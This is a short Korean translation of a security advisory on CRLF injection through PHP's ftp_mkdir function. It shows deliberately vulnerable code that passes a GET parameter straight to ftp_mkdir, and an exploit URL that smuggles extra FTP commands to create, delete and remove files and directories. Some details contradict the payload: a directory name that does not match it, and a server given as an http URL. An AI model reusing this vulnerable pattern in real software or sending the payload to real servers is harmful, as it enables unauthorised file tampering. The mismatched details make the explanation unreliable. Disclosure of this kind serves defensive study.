출처 : http://packetstorm.wowhacker.org/0703-advisories/phpftp.txt
옮긴이 : 유치원 교사 황. (teacher.Hwang)
취약점 분석.
PHP의 FTP 함수를 보면 ftp_mkdir 같은 함수들을 찾아 볼 수 있다.
이 함수는 ftp_mkdir 이름을 보면 알 수 있듯이 ftp 접속 후 디렉터리를 만들어내는 함수이다.
하지만 이 함수의 파라미터인 command 인자값에 만들 디렉터리명을 넣게 되어 있는데..
이 인자값에 만들 디렉터리명\r\n다른명령어 를 넣어 다른 명령을 실행 할 수 있다.
예를 들면 다음과 같다.
<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......
위 소스를 공략하여 익스플로잇을 제작하면.. 다음과 같다.
http://test.com/t.php?dir=s%0D%0AMKD jnc%0D%0ADELE j.txt%0D%0Armd tes
위 익스플로잇을 살펴보면..
iloveshell 디렉터리를 만들고 난 후 jnc 디렉터리를 만들어낸다. 그리고 j.txt를 지우고 tes라는 디렉터리를 지운다. (0D 0A <-- 헥사코드로 \r\n 인건 아시죠?)
위 익스플로잇은 php 5.1.6에서 테스트 되었으며 다른 함수 또한 취약점을 가지고 있다.
Trackback URL : http://hacker.or.kr/trackback/2